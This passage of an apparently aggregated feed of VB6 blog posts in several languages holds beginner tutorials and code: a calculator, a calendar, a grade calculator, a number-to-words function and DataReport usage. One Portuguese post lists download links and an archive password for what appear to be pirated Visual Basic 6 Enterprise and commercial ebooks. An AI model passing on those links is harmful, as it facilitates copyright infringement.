<p class="MsoNormal">cmdOperator_Click opBagi</p>
<p class="MsoNormal">Case &#8220;C&#8221;, &#8220;c&#8221;</p>
<p class="MsoNormal">cmdClearEntry_Click</p>
<p class="MsoNormal">End Select</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>KeyAscii = 0</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal">&#8216; untuk ketikan angka di numpad</p>
<p class="MsoNormal">Private Sub txtDisplay_KeyUp(KeyCode As Integer, Shift As Integer)</p>
<p class="MsoNormal">Select Case KeyCode</p>
<p class="MsoNormal">Case vbKeyNumpad0</p>
<p class="MsoNormal">cmdAngka_Click 0</p>
<p class="MsoNormal">Case vbKeyNumpad1</p>
<p class="MsoNormal">cmdAngka_Click 1</p>
<p class="MsoNormal">Case vbKeyNumpad2</p>
<p class="MsoNormal">cmdAngka_Click 2</p>
<p class="MsoNormal">Case vbKeyNumpad3</p>
<p class="MsoNormal">cmdAngka_Click 3</p>
<p class="MsoNormal">Case vbKeyNumpad4</p>
<p class="MsoNormal">cmdAngka_Click 4</p>
<p class="MsoNormal">Case vbKeyNumpad5</p>
<p class="MsoNormal">cmdAngka_Click 5</p>
<p class="MsoNormal">Case vbKeyNumpad6</p>
<p class="MsoNormal">cmdAngka_Click 6</p>
<p class="MsoNormal">Case vbKeyNumpad7</p>
<p class="MsoNormal">cmdAngka_Click 7</p>
<p class="MsoNormal">Case vbKeyNumpad8</p>
<p class="MsoNormal">cmdAngka_Click 8</p>
<p class="MsoNormal">Case vbKeyNumpad9</p>
<p class="MsoNormal">cmdAngka_Click 9</p>
<p class="MsoNormal">Case vbKeyMultiply</p>
<p class="MsoNormal">cmdOperator_Click opKali</p>
<p class="MsoNormal">Case vbKeyAdd</p>
<p class="MsoNormal">cmdOperator_Click opTambah</p>
<p class="MsoNormal">Case vbKeySeparator</p>
<p class="MsoNormal">cmdSamaDengan_Click</p>
<p class="MsoNormal">Case vbKeySubtract</p>
<p class="MsoNormal">cmdOperator_Click opKurang</p>
<p class="MsoNormal">Case vbKeyDivide</p>
<p class="MsoNormal">cmdOperator_Click opBagi</p>
<p class="MsoNormal">Case vbKeyDecimal</p>
<p class="MsoNormal">cmdKoma_Click</p>
<p class="MsoNormal">Case vbKeyBack, vbKeyDelete</p>
<p class="MsoNormal">
<p class="MsoNormal">Hapus</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>End Select</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>KeyCode = 0</p>
<p class="MsoNormal">End Sub</p>
<p class="MsoNormal">
<p class="MsoNormal"><a class="wp-caption" title="Kalkulator" href="http://www.4shared.com/file/89785698/d6b81891/kakulator.html" target="_self">Download Aplikasi Kalkulator</a></p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal">
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Aplikasi Game Sederhana]]></title>
<link>http://denshy.wordpress.com/2009/03/02/aplikasi-game-sederhana/</link>
<pubDate>Mon, 02 Mar 2009 04:36:38 +0000</pubDate>
<dc:creator>denshy</dc:creator>
<guid>http://denshy.wordpress.com/2009/03/02/aplikasi-game-sederhana/</guid>
<description><![CDATA[Game merupakan media yang tak mungkin lepas dari dunia hiburan. Usernya pun cukup fantastic mulai da]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p class="MsoNormal" style="text-align:justify;">Game merupakan media yang tak mungkin lepas dari dunia hiburan. Usernya pun cukup fantastic mulai dari kalangan anak- anak, remaja, dewasa, pelajar, mahasiswa bahkan bapak – bapak maupun kakek – kakek untuk menghilangkan kesetresan.</p>
<p class="MsoNormal" style="text-align:justify;">
<p class="MsoNormal" style="text-align:justify;"><span> </span>Ya biasalah anak IT kerjaannya otak atik kata untuk dimasukkin ke search engine, waktu itu aku nemu code untuk membuat sebuah game. Game tersebut semajam permainan yang sangat sering kita jumpai baik di Handphone, di Tv, maupun di gameboard.</p>
<p class="MsoNormal" style="text-align:justify;">
<p class="MsoNormal" style="text-align:justify;"><!--[if gte vml 1]&#62;                    &#60;![endif]--><!--[if !vml]--><!--[endif]--><span> </span>Kemudian aku kopi paste kodenya dan hasilnya seperti di bawah ini.</p>
<p class="MsoNormal" style="text-align:justify;">
<div id="attachment_914" class="wp-caption aligncenter" style="width: 480px"><img class="size-full wp-image-914" title="Tampilan Gamenya" src="http://denshy.wordpress.com/files/2009/03/ppp.jpg" alt="Ulo-ULoan" width="470" height="369" /><p class="wp-caption-text">Ulo-ULoan</p></div>
<p>Kalau mau download gamenya <a class="wpGallery" title="Ulo - uload" href="http://www.4shared.com/file/89790306/ecb795b6/uloUloan.html" target="_self">klik di sini</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Aplikasi Kalender Sederhana]]></title>
<link>http://denshy.wordpress.com/2009/02/28/aplikasi-kalender-sederhana/</link>
<pubDate>Sat, 28 Feb 2009 07:15:33 +0000</pubDate>
<dc:creator>denshy</dc:creator>
<guid>http://denshy.wordpress.com/2009/02/28/aplikasi-kalender-sederhana/</guid>
<description><![CDATA[Membuat Aplikasi Kalender Kalender merupakan sebuah bagian yang tak pernah lepas dari aktivitas manu]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><!--[if gte mso 9]&#62;  Normal 0       MicrosoftInternetExplorer4  &#60;![endif]--></p>
<p class="MsoNormal">Membuat Aplikasi Kalender</p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span>Kalender merupakan sebuah bagian yang tak pernah lepas dari aktivitas manusia. Kalender maupun jam sangat penting untuk melihat dan memandang suatu masa maupun waktu. Di sini akan di bahas mengenai cara membuat kalender sederhana dari Microsoft Visual Basic 6.0. Caranya <!--more-->sederhana saja kita tinggal mendesign formnya kemudia memasukkan sebuah rumus (source code) sebagai perintah untuk menjalankan sebuah aplikasi yang telah kita design sebelumnya.</p>
<p class="MsoNormal">Pertama design terlebih dahulu formnya seperti di bawah ini :</p>
<p class="MsoNormal">
<div id="attachment_905" class="wp-caption aligncenter" style="width: 471px"><img class="size-full wp-image-905" title="Contoh design form yang sederhana. Kamu juga bisa mendesignnya sesuai dengan selera dan ke kreatifan kamu." src="http://denshy.wordpress.com/files/2009/02/v.jpg" alt="Design Form" width="461" height="369" /><p class="wp-caption-text">Design Form</p></div>
<p><!--[if gte mso 9]&#62;  Normal 0       MicrosoftInternetExplorer4  &#60;![endif]--></p>
<p class="MsoNormal">Setelah form di design masukkan kode di bawah ini :</p>
<p class="MsoNormal"><img class="aligncenter size-full wp-image-906" title="Source Codenya. " src="http://denshy.wordpress.com/files/2009/02/w.jpg" alt="Source Codenya. " width="460" height="263" /><!--[if gte mso 9]&#62;  Normal 0       MicrosoftInternetExplorer4  &#60;![endif]--></p>
<p class="MsoNormal">Dan jangan lupa interval pada timer di ubah menjadi 1000. Ingat itu!!!””</p>
<p class="MsoNormal">Keterangan :</p>
<p class="MsoNormal">Label 1: Menunjukkan hari saat ini</p>
<p class="MsoNormal">Label 2: Menunjukkan Jam, menit dan sekon (detik) saat ini</p>
<p class="MsoNormal">Label 3: Menunjukkan bulan saat ini</p>
<p class="MsoNormal">Label 4: Menunjukkan tanggal saat ini</p>
<p class="MsoNormal">Label 5: Menunjukkan tahun saat ini</p>
<p class="MsoNormal">
<p class="MsoNormal">Jika sukses maka hasilnya akan tampak seperti di bawah ini :</p>
<p class="MsoNormal">
<div id="attachment_907" class="wp-caption aligncenter" style="width: 472px"><img class="size-full wp-image-907" title="Jika sukses, tampilnya seperti ini." src="http://denshy.wordpress.com/files/2009/02/e.jpg" alt="Hasil" width="462" height="367" /><p class="wp-caption-text">Hasil</p></div>
<p><!--[if gte mso 9]&#62;  Normal 0       MicrosoftInternetExplorer4  &#60;![endif]--></p>
<p class="MsoNormal">Mudah bukan???????? Kalau sudah baca coretan di atas jangan lupa komentarnya ya!!!!!!!!! <a class="wpGallery" title="Aplikasi Kalender//achmad zazuri" href="http://www.4shared.com/file/89782936/5d64a298/Kalender.html" target="_self">Mau download aplikasinya di sini</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pengantar Visual Basic]]></title>
<link>http://denshy.wordpress.com/2009/02/27/pengantar-visual-basic/</link>
<pubDate>Fri, 27 Feb 2009 13:41:13 +0000</pubDate>
<dc:creator>denshy</dc:creator>
<guid>http://denshy.wordpress.com/2009/02/27/pengantar-visual-basic/</guid>
<description><![CDATA[Visual Basic adalah salah satu bahasa pemrograman komputer. Bahasa pemrograman adalah perintahperint]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Visual Basic adalah salah satu bahasa pemrograman komputer. Bahasa pemrograman adalah perintahperintah yang dimengerti oleh komputer untuk melakukan tugas-tugas tertentu. Bahasa pemrograman<br />
Visual Basic, yang dikembangkan oleh Microsoft sejak tahun 1991, merupakan pengembangan dari pendahulunya yaitu bahasa pemrograman BASIC (Beginner’s All-purpose Symbolic Instruction Code)<br />
yang dikembangkan pada era 1950-an.<!--more--> Visual Basic merupakan salah satu Development Tool yaitu alat bantu untuk membuat berbagai macam program komputer, khususnya yang menggunakan sistem operasi Windows. Visual Basic merupakan salah satu bahasa pemrograman komputer yang mendukung object (Object Oriented Programming = OOP).</p>
<p>Bagian bagian  yang ada di visul basic</p>
<div id="attachment_899" class="wp-caption alignnone" style="width: 480px"><img class="size-full wp-image-899" title="Halaman Visual Basic" src="http://denshy.wordpress.com/files/2009/02/vb.jpg" alt="Halaman Visual Basic 6.0" width="470" height="332" /><p class="wp-caption-text">Halaman Visual Basic 6.0</p></div>
<p>1. Menubar<br />
2. Toolbar<br />
3. Toolbox<br />
Bila Toolbox tidak muncul klik tombol Toolbox ( ) pada bagian Toolbar atau klik menu<br />
View &#62; Toolbox.<br />
4. Jendela Form<br />
Bila Jendela Form tidak muncul klik tombol View Object ( ) pada bagian Project Explorer atau<br />
klik menu View &#62; Object.<br />
5. Jendela Code<br />
Bila Jendela Code tidak muncul klik tombol View Code ( ) di pada bagian Project Explorer atau<br />
klik menu View &#62; Code.<br />
6. Project Explorer<br />
Bila Project Explorer tidak muncul klik tombol Project Explorer ( ) pada bagian<br />
Toolbar atau klik menu View &#62; Project Explorer.<br />
7.  Jendela Properties<br />
Bila Jendela Properties tidak muncul klik tombol Properties Window ( ) pada bagian Toolbar<br />
atau klik menu View &#62; Properties Window.</p>
<p>Dalam pemrograman berbasis obyek (OOP), anda perlu memahami istilah object, property, method dan<br />
event sebagai berikut :<br />
Object : komponen di dalam sebuah program<br />
Property : karakteristik yang dimiliki object<br />
Method : aksi yang dapat dilakukan oleh object<br />
Event : kejadian yang dapat dialami oleh object<br />
Sebagai ilustrasi anda dapat menganggap sebuah mobil sebagai obyek yang memiliki property, method<br />
dan event.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[LaVolpe WordArt (GDI+ Paths)]]></title>
<link>http://pscodenet.wordpress.com/2009/02/07/23/</link>
<pubDate>Sat, 07 Feb 2009 12:44:47 +0000</pubDate>
<dc:creator>pscodenet</dc:creator>
<guid>http://pscodenet.wordpress.com/2009/02/07/23/</guid>
<description><![CDATA[  Updated:: Fixed mem leak save routine (oops); added minimal unicode support to sample form for pla]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><h2 style="text-align:center;"><span style="color:#000000;"> </span></h2>
<h1 style="text-align:justify;"><span style="font-size:x-small;"><span style="color:#000000;">Updated:: Fixed mem leak save routine (oops); added minimal unicode support to sample form for playing &#38; as promised, SaveAs Jpg/Png/Bmp capable. A project I wrote to learn more about GDI+ graphics paths. Think it can be useful for others who want to explore paths. I thought I was going to make this a full-blown WordArt-clone but have since lost interest. This project may be updated in the future, but it will remain low on my priorities. Graphic paths are fun to play with, but short of creating a Paint-like application or using paths to manipulated direction/speed of some animated object I can&#8217;t find much use for them. Have fun playing with it. 26Mar08: Added ability to save a GDI+ path to JPG, Bitmap and/or PNG formats. 27Mar08: Found &#38; fixed mem leak in save routine. In sample form, added some unicode support for playing.</span></span></h1>
<h1 style="text-align:center;"><img class="aligncenter" src="http://www.pscode.com/Upload_PSC/ScreenShots/PIC200837930502101.JPG" alt="" width="597" height="495" /></h1>
<h1 style="text-align:center;"><a href="http://www.pscode.com/vb/scripts/ShowZip.asp?lngWId=1&#38;lngCodeId=70216&#38;strZipAccessCode=tp%2FL702165332"><span style="color:#0066cc;">Download code</span><br />
</a></h1>
<h1 style="text-align:center;"> </h1>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chart Control]]></title>
<link>http://pscodenet.wordpress.com/2009/02/07/chart-control/</link>
<pubDate>Sat, 07 Feb 2009 12:29:35 +0000</pubDate>
<dc:creator>pscodenet</dc:creator>
<guid>http://pscodenet.wordpress.com/2009/02/07/chart-control/</guid>
<description><![CDATA[A control to make a chart   Download code]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><h1 style="text-align:center;"><span style="font-size:x-small;"><span style="color:#000080;"><span style="font-size:x-small;">A control to make a chart</span></span></span></h1>
<h1 style="text-align:center;"> <span style="font-size:x-small;"><span style="color:#000080;"><a href="http://pscodenet.files.wordpress.com/2009/02/chart-control1.jpg"><img class="alignnone size-full wp-image-15" title="chart-control1" src="http://pscodenet.wordpress.com/files/2009/02/chart-control1.jpg" alt="chart-control1" width="470" height="348" /></a></span></span></h1>
<h1 style="text-align:center;"><span style="color:#0000ff;"><a href="http://www.pscode.com/vb/scripts/ShowZip.asp?lngWId=1&#38;lngCodeId=71430&#38;strZipAccessCode=tp%2FC714305112">Download code</a></span></h1>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Visual Basic 6.0]]></title>
<link>http://gtpcom.wordpress.com/2009/01/31/visual-basic-60/</link>
<pubDate>Sat, 31 Jan 2009 21:49:50 +0000</pubDate>
<dc:creator>gtpcom</dc:creator>
<guid>http://gtpcom.wordpress.com/2009/01/31/visual-basic-60/</guid>
<description><![CDATA[Visual Basic 6.0 » Descrição O Visual Basic é uma linguagem de programação que oferece um ambiente d]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div id="attachment_192" class="wp-caption aligncenter" style="width: 266px"><img src="http://gtpcom.wordpress.com/files/2009/01/domine_visualbasic6_286x357.jpg" alt="Visual Basic 6.0" title="Visual Basic 6.0" width="256" height="320" class="size-full wp-image-192" /><p class="wp-caption-text">Visual Basic 6.0</p></div>
<p>» Descrição</p>
<p>O Visual Basic é uma linguagem de programação que oferece um ambiente de desenvolvimeto integrado (IDE — Integrated Development Environment) totalmente gráfico, facilitando e muito a criação da interface das aplicações (GUI — Graphical User Interface), por isso o nome Visual.</p>
<p>Veja algumas das suas características:</p>
<p>Passo-a-passo para você não deixar nada passar em branco, com mais de 16 horas de vídeos explicativos e cerca de 300MB de documentos on-line.</p>
<p>Assistente para atualizações, permitindo maior mobilidade com o Visual Basic 6.</p>
<p>Suporte a criação de aplicativos utilizando o .NET Framework.</p>
<p>Interface intuitiva que proporciona a criação rápida de objetos através de menus de fácil acesso.</p>
<p>Grande versatilidade, com mais 30 novos comandos para simplificar o desenvolvimento.</p>
<p>Verificação, destaque e autocorreção de sintaxe, sugerindo e aplicando retificações em mais de 230 erros comuns de programação.</p>
<p>Criação de aplicativos com banco de dados através do SQL Server 2005 Express.</p>
<p>Adicione sons e imagens aos seus programas com extrema praticidade.</p>
<p>Possui ferramentas para controle de navegadores da web, possibilitando a criação de aplicativos com capacidade de navegar na Internet.</p>
<p>E muito mais.</p>
<p>A interface do programa possui as ferramentas dispostas de modo que seja relizada qualquer tarefa com um número mínimo de cliques, agilizando ainda mais o processo de desenvolvimento. Como se não bastasse tanta praticidade, o Visual Basic 2005 Express Edition ainda conta com o IntelliSense, recurso que oferece cerca de 400 modelos de códigos para simplificar ainda mais o seu trabalho.</p>
<p>eBooks Visual Basic contido no pacote:</p>
<p>* Programming vb6 (+ code, by Fransisco Balena)</p>
<p>* Visual Basic Conceptual Topics</p>
<p>* Visual Basic How-To Topics</p>
<p>* Visual Basic Language Reference 1</p>
<p>* Visual Basic Language Reference 2</p>
<p>* Visual Basic Language Reference 3</p>
<p>* Visual Basic Microsoft Graph Objects</p>
<p>* Visual Basic Microsoft Office Reference</p>
<p>* Visual Basic User Interface Help</p>
<p>* Windows API Guide</p>
<p>* Advanced Visual Basic 6 Techniques &#8211; Wiley</p>
<p>* OReilly &#8211; Ado Activex Data Objects</p>
<p>* Programing &#8211; Schaum\&#8217;s Outline &#8211; Visual Basic 6</p>
<p>* Sams Teach Yourself Visual Basic 6 in 21 Days</p>
<p>* Visual Basic 6 Black Book* Visual Basic 6 Database How-To (Sams-ebook)</p>
<p>* Advanced Ms Visual Basic 6.0 &#8211; MS Press.chm</p>
<p>* Visual Basic Databases</p>
<p>* Visual Basic 6 Coding Standards</p>
<p>* Incluido também o Visual Basic Portable e Add-ins e Sevice Pack 6.<br />
» Informações<br />
Tamanho: Variado<br />
Servidor: RapidShare<br />
Idioma: Variado</p>
<p>» DOWNLOAD:</p>
<p>Visual Basic 6 Enterprise Edition:</p>
<p>http://lix.in/9409bd &#8211; Parte 1</p>
<p>http://lix.in/cae68e &#8211; Parte 2</p>
<p>senha: R@pidSh@r3Sucks</p>
<p>Visual Basic 6 Add-ins</p>
<p>http://lix.in/39386b</p>
<p>senha: R@pidSh@r3Sucks</p>
<p>Visual Basic 6 Ebooks</p>
<p>http://lix.in/c5d3c0 &#8211; Parte 1</p>
<p>http://lix.in/78eb60 &#8211; Parte 2</p>
<p>http://lix.in/32f40f &#8211; Parte 3</p>
<p>senha: R@pidSh@r3Sucks</p>
<p>Portable Visual Basic 6</p>
<p>http://lix.in/25990b</p>
<p>senha: R@pidSh@r3Sucks</p>
<p>Visual Basic 6 &#8211; Service Pack 6</p>
<p>http://lix.in/e1bac5</p>
<p>senha: R@pidSh@r3Sucks</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Visual Basic]]></title>
<link>http://cahb2.wordpress.com/2009/01/19/step-i-dasar-pemrograman-data-base-berbasis-window-study-kasus-access-2003/</link>
<pubDate>Mon, 19 Jan 2009 00:11:58 +0000</pubDate>
<dc:creator>cahb2</dc:creator>
<guid>http://cahb2.wordpress.com/2009/01/19/step-i-dasar-pemrograman-data-base-berbasis-window-study-kasus-access-2003/</guid>
<description><![CDATA[Mengenal Microsoft Visual Basic 2008 Berawal dari waktu luang yang ditemui ditempat bekerja, mulaila]]></description>
<content:encoded><![CDATA[Mengenal Microsoft Visual Basic 2008 Berawal dari waktu luang yang ditemui ditempat bekerja, mulaila]]></content:encoded>
</item>
<item>
<title><![CDATA[Source Code Struktur Keputusan dan Operator]]></title>
<link>http://myrooneey.wordpress.com/2008/12/06/source-code-struktur-keputusan-dan-operator/</link>
<pubDate>Sat, 06 Dec 2008 02:37:18 +0000</pubDate>
<dc:creator>myrooneey</dc:creator>
<guid>http://myrooneey.wordpress.com/2008/12/06/source-code-struktur-keputusan-dan-operator/</guid>
<description><![CDATA[Private Sub Form_Load() Text1.Text = &#8220;&#8221; Text2.Text = &#8220;&#8221; Text3.Text = &#8220;]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="alignnone size-full wp-image-11" title="untitled" src="http://myrooneey.wordpress.com/files/2008/12/untitled.jpg" alt="untitled" width="321" height="372" /></p>
<p>Private Sub Form_Load()<br />
Text1.Text = &#8220;&#8221;<br />
Text2.Text = &#8220;&#8221;<br />
Text3.Text = &#8220;&#8221;<br />
Text4.Text = &#8220;&#8221;<br />
Text5.Text = &#8220;&#8221;<br />
Text6.Text = &#8220;&#8221;<br />
End Sub</p>
<p>Private Sub Text1_Change()<br />
Hitung<br />
End Sub</p>
<p>Private Sub Text2_Change()<br />
Hitung<br />
End Sub</p>
<p>Private Sub Text3_Change()<br />
Hitung<br />
End Sub</p>
<p>Private Sub Text4_Change()<br />
Hitung<br />
End Sub</p>
<p>Private Sub Text5_Change()<br />
grade = Text5.Text<br />
cari = Len(Text5.Text)<br />
If cari &#62; 1 Then<br />
    Select Case grade<br />
    Case Is &#60; 20<br />
        Text6.Text = &#8220;E&#8221;<br />
    Case 20 To 40<br />
        Text6.Text = &#8220;D&#8221;<br />
    Case 40 To 60<br />
        Text6.Text = &#8220;C&#8221;<br />
    Case 60 To 80<br />
        Text6.Text = &#8220;B&#8221;<br />
    Case Else<br />
        Text6.Text = &#8220;A&#8221;<br />
    End Select<br />
Else<br />
    Text6.Text = &#8220;&#8221;<br />
End If<br />
End Sub</p>
<p>Private Sub Hitung()<br />
Text5.Text = (10 * Val(Text1.Text) / 100) + (20 * Val(Text2.Text) / 100) + (30 * Val(Text3.Text) / 100) + (40 * Val(Text4.Text) / 100)</p>
<p>End Sub</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Source Code Terbilang]]></title>
<link>http://myrooneey.wordpress.com/2008/12/06/source-code-terbilang/</link>
<pubDate>Sat, 06 Dec 2008 02:19:50 +0000</pubDate>
<dc:creator>myrooneey</dc:creator>
<guid>http://myrooneey.wordpress.com/2008/12/06/source-code-terbilang/</guid>
<description><![CDATA[Option Explicit Dim nCounter As Integer, nLoop As Integer, nSisa As Integer, nCounter2 As Integer, n]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Option Explicit<br />
Dim nCounter As Integer, nLoop As Integer, nSisa As Integer, nCounter2 As Integer, nPos As Integer<br />
Dim nKali As Integer<br />
Dim aSatuan As Variant, aAngka As Variant, cAngkaUji As String<br />
Dim aHasil As Variant<br />
Dim cSpell As String, bSisa As Boolean</p>
<p>Public Function Terbilang(ByVal cAngka As String) As String<br />
    aSatuan = Array(&#8220;&#8221;, &#8220;&#8221;, &#8220;Ribu &#8220;, &#8220;Juta &#8220;, &#8220;Milyar &#8220;, &#8220;Trilyun &#8220;, &#8220;Bilyun &#8220;, &#8220;Mega Bilyun &#8220;)<br />
    aAngka = Array(&#8220;&#8221;, &#8220;Satu &#8220;, &#8220;Dua &#8220;, &#8220;Tiga &#8220;, &#8220;Empat &#8220;, &#8220;Lima &#8220;, &#8220;Enam &#8220;, &#8220;Tujuh &#8220;, &#8220;Delapan &#8220;, &#8220;Sembilan &#8220;)<br />
    cSpell = &#8220;&#8221;<br />
    nLoop = Left(Trim(Str(Len(Trim(cAngka)) / 3)), 1)<br />
    nPos = Len(Trim(cAngka)) &#8211; 2</p>
<p>    For nCounter = 1 To nLoop<br />
        If bSisa = False Then<br />
            cAngkaUji = Mid(cAngka, nPos, 3)<br />
        Else<br />
            MsgBox &#8220;SISA&#8221;<br />
            cAngkaUji = Left(cAngka, nSisa)<br />
        End If</p>
<p>        aHasil = Array(&#8220;&#8221;, &#8220;&#8221;, &#8220;&#8221;, &#8220;&#8221;)<br />
        &#8216;Mengkonfersi angka ke ejaan<br />
        For nCounter2 = 3 To 1 Step -1<br />
            aHasil(nCounter2) = aAngka(Val(Mid(cAngkaUji, nCounter2, 1)))<br />
        Next<br />
        &#8216;Mendefinisikan satuan<br />
        For nCounter2 = 1 To UBound(aHasil)<br />
            Select Case aHasil(nCounter2)<br />
                Case &#8220;Satu &#8220;<br />
                    If nCounter2 = 2 Then<br />
                        If aHasil(3) = &#8220;&#8221; Then<br />
                            aHasil(2) = &#8220;Sepuluh &#8220;<br />
                        ElseIf aHasil(3) = &#8220;Satu &#8221; Then<br />
                            aHasil(2) = &#8220;Sebelas &#8220;<br />
                            aHasil(3) = &#8220;&#8221;<br />
                        Else<br />
                            aHasil(2) = aHasil(3) + &#8220;Belas &#8220;<br />
                            aHasil(3) = &#8220;&#8221;<br />
                        End If<br />
                    End If<br />
                    If nCounter2 = 1 Then<br />
                        aHasil(1) = &#8220;Se&#8221;<br />
                    End If<br />
            End Select<br />
            Select Case nCounter2<br />
                Case 1<br />
                    If aHasil(1) &#60;&#62; &#8220;&#8221; Then<br />
                        aHasil(1) = aHasil(1) + &#8220;Ratus &#8220;<br />
                    End If<br />
                Case 2<br />
                    If aHasil(3) = &#8220;&#8221; And aHasil(2) &#60;&#62; &#8220;&#8221; Then<br />
                        If Right(aHasil(2), 6) = &#8220;Belas &#8221; Or Left(aHasil(2), 7) = &#8220;Sebelas&#8221; Then<br />
                        Else<br />
                            aHasil(2) = aHasil(2) + &#8220;Puluh &#8220;<br />
                        End If<br />
                    ElseIf aHasil(2) = &#8220;&#8221; Then<br />
                        aHasil(2) = &#8220;&#8221;<br />
                    ElseIf aHasil(3) &#60;&#62; &#8220;&#8221; Then<br />
                        aHasil(2) = aHasil(2) + &#8220;Puluh &#8220;<br />
                    End If<br />
            End Select<br />
        Next<br />
        &#8216;mengidentifikasikan satuan<br />
        If aHasil(1) = &#8220;&#8221; And aHasil(2) = &#8220;&#8221; And aHasil(3) = &#8220;&#8221; Then<br />
        Else<br />
            cSpell = aHasil(1) + aHasil(2) + aHasil(3) + aSatuan(nKali) + cSpell<br />
        End If<br />
        nKali = nKali + 1<br />
        nPos = nPos &#8211; 3<br />
    Next<br />
    Terbilang = cSpell<br />
End Function</p>
<p>Private Sub Text1_GotFocus()<br />
    Text1.Text = &#8220;&#8221;<br />
End Sub</p>
<p>Private Sub Text1_KeyPress(KeyAscii As Integer)<br />
    If KeyAscii = 13 Then<br />
        bSisa = False<br />
        nKali = 1<br />
        &#8216;Text3.Text = Len(Trim(Format(Text1.Text))) / 3<br />
        &#8216;Text4.Text = Len(Trim(Format(Text1.Text))) Mod 3<br />
        Text1.Text = Format(Text1.Text, &#8220;###,###,###,###,###,###&#8221;)<br />
       <br />
        If Len(Trim(Format(Text1.Text))) Mod 3 = 0 Then<br />
            Text2.Text = Terbilang(Format(Text1.Text)) + &#8221; Rupiah&#8221;<br />
        Else<br />
            Text2.Text = Terbilang(&#8220;000&#8243; + Format(Text1.Text)) + &#8221; Rupiah&#8221;<br />
        End If<br />
    End If<br />
   <br />
End Sub</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[DataReport in Visual Basic 6 SECONDA PARTE]]></title>
<link>http://dibitinbit.wordpress.com/2008/11/29/datareport-in-visual-basic-6-seconda-parte/</link>
<pubDate>Sat, 29 Nov 2008 15:35:20 +0000</pubDate>
<dc:creator>thebr1</dc:creator>
<guid>http://dibitinbit.wordpress.com/2008/11/29/datareport-in-visual-basic-6-seconda-parte/</guid>
<description><![CDATA[Nella prima parte abbiamo essenzialmente esaminato la struttura del Dat Report. Passiamo ora a conce]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Nella prima parte abbiamo essenzialmente esaminato la struttura del Dat Report. Passiamo ora a concentrarci sul come farlo funzionare e quindi utilizzarlo. Essenzialmente esistono due metodi. Io ne spiegherò solamente uno, poichè secondo me è il più semplice ed anche il più flessibile.</p>
<p>In realtà questo metodo prevede che si sappia giocare un pochino con i database in VB. Esattamente dovete aver esperienza dell&#8217;utilizzo degli oggetti ADO. Poichè non è oggetto di questa semplice spiegazione andrò avanti, supponendo che si abbia dimestichezza con questi oggetti.</p>
<p>Il primo passo da fare è disegnare, o meglio, posizionare nele sezioni giuste, le TextBox sul DataReport. Ricordate una cosa fondamentele. Le TextBox del Data Report sono un pò diverse da quelle a cui siete abituati, non potete in sostanza, passargli stringhe direttamente, ma potete solamente passargli dati sotto forma di record, presi da una tabella o query. Quindi se avete necessità di passare delle stringhe di testo vi conviene utilizzare le Label.</p>
<p>Una volta posizionati le TextBox, non vi resta che dire al Data Report dove prendere i dati.</p>
<p>Se avete letto la PRIMA PARTE avevamo lasciato in sospeso le due proprietà <em>Data Member </em>e <em>Data Source</em>. Tralascerò Data Member, poichè non ci serve e mi concentrerò sul Dat Source. Quindi da codice dovete impostare questa proprieta del Data Report, attribuendogli un Recordset (per questo dovete sapere di cosa sto parlando se dico ADO). Il gioco è fatto. Adesso passate i record alle TextBox, in questo modo:</p>
<p style="text-align:center;">DataReport1.Sections.Item(&#8220;Section1&#8243;).Controls.Item(&#8220;Text6&#8243;).DataField</p>
<p style="text-align:left;"><em>il nome del DataReport.Section.Item(&#8220;il nome della sezione&#8221;).Controls.Item(&#8220;Il nome della TextBox&#8221;).DataField </em></p>
<p style="text-align:center;"><em>=</em></p>
<p style="text-align:center;"><em>inserite il nome del campo, che contiene i record che volete stampare legati a quella TextBox.</em></p>
<p style="text-align:left;">Nei prossimi giorni preparerò un fil vb di esempio, in modo che tutto questo vi sia un pò più chiaro.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[DataReport in Visual Basic 6 PRIMA PARTE]]></title>
<link>http://dibitinbit.wordpress.com/2008/11/27/datareport-in-visual-basic-6-prima-parte/</link>
<pubDate>Thu, 27 Nov 2008 20:14:33 +0000</pubDate>
<dc:creator>thebr1</dc:creator>
<guid>http://dibitinbit.wordpress.com/2008/11/27/datareport-in-visual-basic-6-prima-parte/</guid>
<description><![CDATA[Mi sono accorto affrontando per la prima volta problemi di programmazione, un pochino più complessa ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><blockquote><p>Mi sono accorto affrontando per la prima volta problemi di programmazione, un pochino più complessa del classico hello world!!, che se la rete molte volte aiuta in maniera efficiente e completa, in alcuni casi, forse per una incredibile congiunzione astrale, è completamente priva di aiuti su determinati argomenti. Il DataReport di Visual Basic è uno di essi. Molti lo nominano, molti lo spiegano nella teoria, ma pochi aiutano praticamente a risolvere i problemi. Io non ho la pretesa di sviscerare troppo l&#8217;argomento, non credo di averne le conoscenze, ma vorrei fornire un valido aiuto, per chi si scontra per la prma volta con questo &#8220;mostro&#8221;.</p>
